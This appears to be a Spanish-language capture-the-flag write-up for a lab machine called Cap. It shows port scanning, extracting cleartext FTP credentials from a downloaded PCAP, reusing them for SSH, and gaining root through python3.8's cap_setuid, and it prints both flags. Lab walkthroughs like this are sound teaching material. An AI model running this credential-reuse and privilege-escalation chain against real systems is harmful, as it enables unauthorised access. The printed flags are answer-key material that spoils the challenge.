Cap
Enumeración
Primero, vamos a utilizar el protocolo ICMP para enviar un paquete de prueba a la dirección IP objetivo y verificar si se recibe una respuesta, lo que permite comprobar la conectividad y el estado de la red.
❯ ping -c 1 10.10.10.245
PING 10.10.10.245 (10.10.10.245) 56(84) bytes of data.
64 bytes from 10.10.10.245: icmp_seq=1 ttl=63 time=55.6 ms
--- 10.10.10.245 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 55.576/55.576/55.576/0.000 ms
La respuesta indica que el paquete llegó a su destino y se recibió una respuesta en un tiempo de 0,123 milisegundos. Gracias al TTL, sabemos que estamos ante una máquina Linux.
Escaneo de puertos
Ahora, vamos a realizar un escaneo de puertos con Nmap para determinar qué puertos están abiertos en la máquina objetivo.
❯ sudo nmap -p- --open -T5 -v -n 10.10.10.245
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 15:13 EDT
Happy 27th Birthday to Nmap, may it live to be 127!
Initiating Ping Scan at 15:13
Scanning 10.10.10.245 [4 ports]
Completed Ping Scan at 15:13, 0.11s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:13
Scanning 10.10.10.245 [65535 ports]
Discovered open port 80/tcp on 10.10.10.245
Discovered open port 21/tcp on 10.10.10.245
Discovered open port 22/tcp on 10.10.10.245
Completed SYN Stealth Scan at 15:14, 26.33s elapsed (65535 total ports)
Nmap scan report for 10.10.10.245
Host is up (0.037s latency).
Not shown: 61982 closed tcp ports (reset), 3550 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Opciones de Nmap
- -p-: Indica que se deben escanear todos los puertos (65535 puertos en total).
- –open: Solo muestra los puertos que están abiertos.
- -T5: Establece el nivel de agresividad del escaneo en 5, que es el nivel más alto. Esto significa que nmap intentará escanear los puertos lo más rápido posible.
- -v: Activa el modo verbose, que muestra más información sobre el escaneo.
- -n: Desactiva la resolución de nombres de dominio (DNS), lo que acelera el escaneo.
Segundo escaneo
Vamos a ejecutar otro escaneo más rápido utilizando el escaneo SYN (-sS), que es más rápido que el escaneo de conexión completa. También estableceremos una tasa mínima de envío de paquetes (–min-rate 5000) para que pueda aumentar la velocidad del escaneo.(aunque la velocidad real dependerá de la red y del host remoto. Si la red es lenta o el host remoto está muy cargado, este comando puede no ser significativamente más rápido.)
❯ sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.10.245 -oG todosPuertos
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 15:22 EDT
Happy 27th Birthday to Nmap, may it live to be 127!
Initiating SYN Stealth Scan at 15:22
Scanning 10.10.10.245 [65535 ports]
Discovered open port 80/tcp on 10.10.10.245
Discovered open port 22/tcp on 10.10.10.245
Discovered open port 21/tcp on 10.10.10.245
Completed SYN Stealth Scan at 15:22, 16.08s elapsed (65535 total ports)
Nmap scan report for 10.10.10.245
Host is up, received user-set (0.10s latency).
Scanned at 2024-09-01 15:22:34 EDT for 16s
Not shown: 64459 closed tcp ports (reset), 1073 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Opciones de Nmap
- -sS: Realiza un escaneo de puertos utilizando el protocolo TCP SYN (también conocido como “escaneo de puertos stealth”). Esto significa que nmap enviará un paquete SYN a cada puerto y esperará a que el servidor responda con un paquete SYN-ACK.
- –min-rate 5000: Establece la tasa mínima de envío de paquetes en 5000 paquetes por segundo. Esto significa que nmap intentará enviar al menos 5000 paquetes por segundo para realizar el escaneo lo más rápido posible.
- -vvv: Activa el modo verbose. La triple “v” indica que se mostrará la información más detallada posible.
- -Pn: Desactiva el descubrimiento de hosts utilizando el protocolo ICMP. Esto significa que nmap no intentará descubrir si el host está activo antes de realizar el escaneo de puertos.
- -oG: Indica que los resultados del escaneo se guardarán en un archivo en formato Greppable.
Exploración de puertos
Ahora que hemos identificado los puertos abiertos, podemos explorar cada puerto para determinar la versión de los servicios que se ejecutan en cada puerto abierto.
- Puerto 21: FTP (File Transfer Protocol)
- Puerto 22: SSH (Secure Shell)
- Puerto 80: HTTP (Hypertext Transfer Protocol)
Podemos utilizar herramientas como Nmap o Netcat para explorar cada puerto y determinar la versión de los servicios que se ejecutan en cada puerto abierto.
❯ nmap -sCV -p21,22,80 10.10.10.245 -oN objetivo
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 18:14 EDT
Nmap scan report for 10.10.10.245
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Sun, 01 Sep 2024 22:15:01 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Sun, 01 Sep 2024 22:14:56 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
|
|
| ......................
| ......................
| ......................
|
|
Opciones
- -sC: Activa la detección de versiones de servicios en los puertos abiertos. Nmap intentará determinar la versión del servicio que se ejecuta en cada puerto abierto.
- -sV: Activa la detección de versiones de servicios en los puertos abiertos, similar a -sC, pero con una mayor profundidad. Nmap intentará determinar la versión del servicio, el sistema operativo y otros detalles adicionales.
Ahora que hemos identificado el puerto 21 abierto con el servicio FTP, podemos intentar conectarnos por FTP con un usuario anónimo.
❯ ftp -a 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
530 Login incorrect.
ftp: Login failed
ftp>
Pero el servidor FTP no permite conexiones anónimas, así que no podremos conectarnos con un usuario anónimo.
Voy a usar WhatWeb
, una herramienta de reconocimiento web que se utiliza para identificar tecnologías web, frameworks, sistemas de gestión de contenidos (CMS), plataformas de comercio electrónico, servidores web, y otros componentes de una aplicación web.
❯ whatweb 10.10.10.245
http://10.10.10.245 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.10.10.245], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge
También, voy a usar Wfuzz
, una herramienta de fuzzing web que se utiliza para identificar directorios y archivos ocultos en un servidor web.
❯ wfuzz -c --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.245/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.245/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000182: 302 3 L 24 W 208 Ch "data"
000000941: 200 354 L 1055 W 17451 Ch "ip"
000004942: 200 493 L 2347 W 32746 Ch "netstat"
000008555: 302 3 L 24 W 220 Ch "capture"
000045240: 200 388 L 1065 W 19385 Ch "http://10.10.10.245/"
Opciones
- -c: indica que se debe mostrar el contenido de la respuesta del servidor web.
- –hc 404: indica que se debe ignorar cualquier respuesta con un código de estado 404 (no encontrado).
- -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: especifica la lista de palabras que se utilizarán para fuzzear el servidor web. http://10.10.10.245/FUZZ: es la URL del servidor web que se está fuzzing. La palabra FUZZ se reemplaza con cada una de las palabras de la lista especificada en el parámetro -w.
Cuando se ejecuta el comando, wfuzz envía una solicitud GET a la URL especificada con cada una de las palabras de la lista. La respuesta del servidor web se muestra en la pantalla, incluyendo el código de estado, el número de líneas, palabras y caracteres de la respuesta.
Nos vamos a Security Snapshot (5 Second PCAP + Analysis), que investigando un poco es un tipo de análisis de seguridad que implica capturar y analizar el tráfico de red de un sistema o red durante un período de tiempo muy corto, típicamente de 5 segundos.
Vemos que apunta al directorio data que habíamos encontrado.
Nos descargamos un archivo PCAP que contiene registros de tráfico de red que se pueden analizar con herramientas como TShark (The Wireshark Network Protocol Analyzer).
En este caso, cuando descargamos el archivo 3.pcap y lo analizamos con TShark, no encontramos nada interesante.
Sin embargo, cuando descargas el archivo 0.pcap de http://10.10.10.245/data/0 y lo analizamos, encontramos credenciales de FTP (usuario y contraseña) en el tráfico de red capturado.
- Wireshark
❯ tshark -r 0.pcap -Y "ftp" 2>/dev/null
34 2.626895 192.168.196.16 → 192.168.196.1 FTP 76 Response: 220 (vsFTPd 3.0.3)
36 4.126500 192.168.196.1 → 192.168.196.16 FTP 69 Request: USER nathan
38 4.126630 192.168.196.16 → 192.168.196.1 FTP 90 Response: 331 Please specify the password.
40 5.424998 192.168.196.1 → 192.168.196.16 FTP 78 Request: PASS Buck3tH4TF0RM3!
42 5.432387 192.168.196.16 → 192.168.196.1 FTP 79 Response: 230 Login successful.
43 5.432801 192.168.196.1 → 192.168.196.16 FTP 62 Request: SYST
45 5.432937 192.168.196.16 → 192.168.196.1 FTP 75 Response: 215 UNIX Type: L8
47 6.309628 192.168.196.1 → 192.168.196.16 FTP 84 Request: PORT 192,168,196,1,212,140
49 6.309874 192.168.196.16 → 192.168.196.1 FTP 107 Response: 200 PORT command successful. Consider using PASV.
50 6.310514 192.168.196.1 → 192.168.196.16 FTP 62 Request: LIST
51 6.311053 192.168.196.16 → 192.168.196.1 FTP 95 Response: 150 Here comes the directory listing.
52 6.311479 192.168.196.16 → 192.168.196.1 FTP 80 Response: 226 Directory send OK.
54 7.380771 192.168.196.1 → 192.168.196.16 FTP 84 Request: PORT 192,168,196,1,212,141
55 7.380998 192.168.196.16 → 192.168.196.1 FTP 107 Response: 200 PORT command successful. Consider using PASV.
56 7.381554 192.168.196.1 → 192.168.196.16 FTP 66 Request: LIST -al
57 7.382165 192.168.196.16 → 192.168.196.1 FTP 95 Response: 150 Here comes the directory listing.
58 7.382504 192.168.196.16 → 192.168.196.1 FTP 80 Response: 226 Directory send OK.
60 28.031068 192.168.196.1 → 192.168.196.16 FTP 64 Request: TYPE I
61 28.031221 192.168.196.16 → 192.168.196.1 FTP 87 Response: 200 Switching to Binary mode.
62 28.031547 192.168.196.1 → 192.168.196.16 FTP 84 Request: PORT 192,168,196,1,212,143
63 28.031688 192.168.196.16 → 192.168.196.1 FTP 107 Response: 200 PORT command successful. Consider using PASV.
64 28.031932 192.168.196.1 → 192.168.196.16 FTP 72 Request: RETR notes.txt
65 28.032072 192.168.196.16 → 192.168.196.1 FTP 82 Response: 550 Failed to open file.
67 31.127551 192.168.196.1 → 192.168.196.16 FTP 62 Request: QUIT
68 31.127652 192.168.196.16 → 192.168.196.1 FTP 70 Response: 221 Goodbye.
También se puede ver en formato json.
tshark -r 0.pcap -Y "ftp" -Tjson 2>/dev/null
.....
.....
.....
"tcp.payload": "32:32:31:20:47:6f:6f:64:62:79:65:2e:0d:0a"
...
]
Y ahora a nivel de campos podemos pasarle el tcp.payload.
❯ tshark -r 0.pcap -Y "ftp" -Tfields -e "tcp.payload" 2>/dev/null
323230202876734654506420332e302e33290d0a
55534552206e617468616e0d0a
33333120506c656173652073706563696679207468652070617373776f72642e0d0a
50415353204275636b33744834544630524d33210d0a
323330204c6f67696e207375636365737366756c2e0d0a
535953540d0a
32313520554e495820547970653a204c380d0a
504f5254203139322c3136382c3139362c312c3231322c3134300d0a
32303020504f525420636f6d6d616e64207375636365737366756c2e20436f6e7369646572207573696e6720504153562e0d0a
4c4953540d0a
313530204865726520636f6d657320746865206469726563746f7279206c697374696e672e0d0a
323236204469726563746f72792073656e64204f4b2e0d0a
504f5254203139322c3136382c3139362c312c3231322c3134310d0a
32303020504f525420636f6d6d616e64207375636365737366756c2e20436f6e7369646572207573696e6720504153562e0d0a
4c495354202d616c0d0a
313530204865726520636f6d657320746865206469726563746f7279206c697374696e672e0d0a
323236204469726563746f72792073656e64204f4b2e0d0a
5459504520490d0a
32303020537769746368696e6720746f2042696e617279206d6f64652e0d0a
504f5254203139322c3136382c3139362c312c3231322c3134330d0a
32303020504f525420636f6d6d616e64207375636365737366756c2e20436f6e7369646572207573696e6720504153562e0d0a
52455452206e6f7465732e7478740d0a
353530204661696c656420746f206f70656e2066696c652e0d0a
515549540d0a
32323120476f6f646279652e0d0a
...
]
Cada línea representa el contenido del payload de un paquete FTP diferente. El contenido está en formato hexadecimal. Podemos convertir el hexadecimal a texto utilizando una herramienta como xxd o hexdump.
❯ echo "323230202876734654506420332e302e33290d0a
55534552206e617468616e0d0a
33333120506c656173652073706563696679207468652070617373776f72642e0d0a
50415353204275636b33744834544630524d33210d0a
323330204c6f67696e207375636365737366756c2e0d0a
535953540d0a
32313520554e495820547970653a204c380d0a
504f5254203139322c3136382c3139362c312c3231322c3134300d0a
32303020504f525420636f6d6d616e64207375636365737366756c2e20436f6e7369646572207573696e6720504153562e0d0a
4c4953540d0a
313530204865726520636f6d657320746865206469726563746f7279206c697374696e672e0d0a
323236204469726563746f72792073656e64204f4b2e0d0a
504f5254203139322c3136382c3139362c312c3231322c3134310d0a
32303020504f525420636f6d6d616e64207375636365737366756c2e20436f6e7369646572207573696e6720504153562e0d0a
4c495354202d616c0d0a
313530204865726520636f6d657320746865206469726563746f7279206c697374696e672e0d0a
323236204469726563746f72792073656e64204f4b2e0d0a
5459504520490d0a
32303020537769746368696e6720746f2042696e617279206d6f64652e0d0a
504f5254203139322c3136382c3139362c312c3231322c3134330d0a
32303020504f525420636f6d6d616e64207375636365737366756c2e20436f6e7369646572207573696e6720504153562e0d0a
52455452206e6f7465732e7478740d0a
353530204661696c656420746f206f70656e2066696c652e0d0a
515549540d0a
32323120476f6f646279652e0d0a" | xxd -r -p
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
SYST
215 UNIX Type: L8
PORT 192,168,196,1,212,140
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.
226 Directory send OK.
PORT 192,168,196,1,212,141
200 PORT command successful. Consider using PASV.
LIST -al
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 192,168,196,1,212,143
200 PORT command successful. Consider using PASV.
RETR notes.txt
550 Failed to open file.
QUIT
221 Goodbye.
Conexión al Servidor FTP
❯ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
---------------------------
ftp> dir
229 Entering Extended Passive Mode (|||15423|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1001 1001 0 Sep 02 16:17 Makefile
-rw-rw-r-- 1 1001 1001 0 Sep 02 16:16 cve-2021-4034.c
-rwxrwxr-x 1 1001 1001 305 Sep 02 16:15 cve-2021-4034.sh
-rwxr-xr-x 1 1001 1001 823052 Sep 02 11:36 linpeas.sh
-rw-rw-r-- 1 1001 1001 0 Sep 02 16:16 pwnkit.c
-rwxrwxr-x 1 1001 1001 46631 Sep 02 11:13 scriptLin.sh
drwxr-xr-x 3 1001 1001 4096 Sep 02 11:31 snap
-r-------- 1 1001 1001 33 Sep 02 09:53 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||19762|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |*********************************************************************************************************************************************| 33 700.57 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (200.16 KiB/s)
ftp> exit
221 Goodbye.
❯ cat user.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: user.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ a78bf6d5da6aebe282acba05a22f0768
Ahora si pruebo a conectarme con las mismas credenciales por ssh obtengo acceso
❯ ssh nathan@10.10.10.245
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Sep 2 20:08:48 UTC 2024
System load: 0.0
Usage of /: 36.9% of 8.73GB
Memory usage: 36%
Swap usage: 0%
Processes: 232
Users logged in: 1
IPv4 address for eth0: 10.10.10.245
IPv6 address for eth0: dead:beef::250:56ff:fe94:e156
=> There are 4 zombie processes.
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Sep 2 18:41:58 2024 from 10.10.14.196
nathan@cap:~$
Escalada de privilegios
Voy a ver si el usuario está autorizado para utilizar sudo
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
Pero nada. Voy a buscar y mostrar las capacidades especiales asignadas a los archivos ejecutables en un sistema Linux. Las capacidades especiales son una forma de otorgar permisos adicionales a un proceso para realizar operaciones que normalmente requieren privilegios de root.
nathan@cap:~$ C getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
nathan@cap:~$ ^C
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Vemos que /usr/bin/python3.8 tiene las capacidades cap_setuid y cap_net_bind_service+eip. La capacidad cap_setuid permite al proceso cambiar su identificador de usuario (UID) y la capacidad cap_net_bind_service+eip permite al proceso enlazar a puertos privilegiados (<1024).
Voy a cambiar el UID del proceso a root y luego a lanzar una nueva sesión de bash con privilegios de root.
nathan@cap:~$ python3.8
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system("bash")
root@cap:~#
---------------------------
root@cap:~# cd /root
root@cap:/root# dir
root.txt snap
root@cap:/root# cat root.txt
c7ff6bc160eebd656cbef4eea5eb056a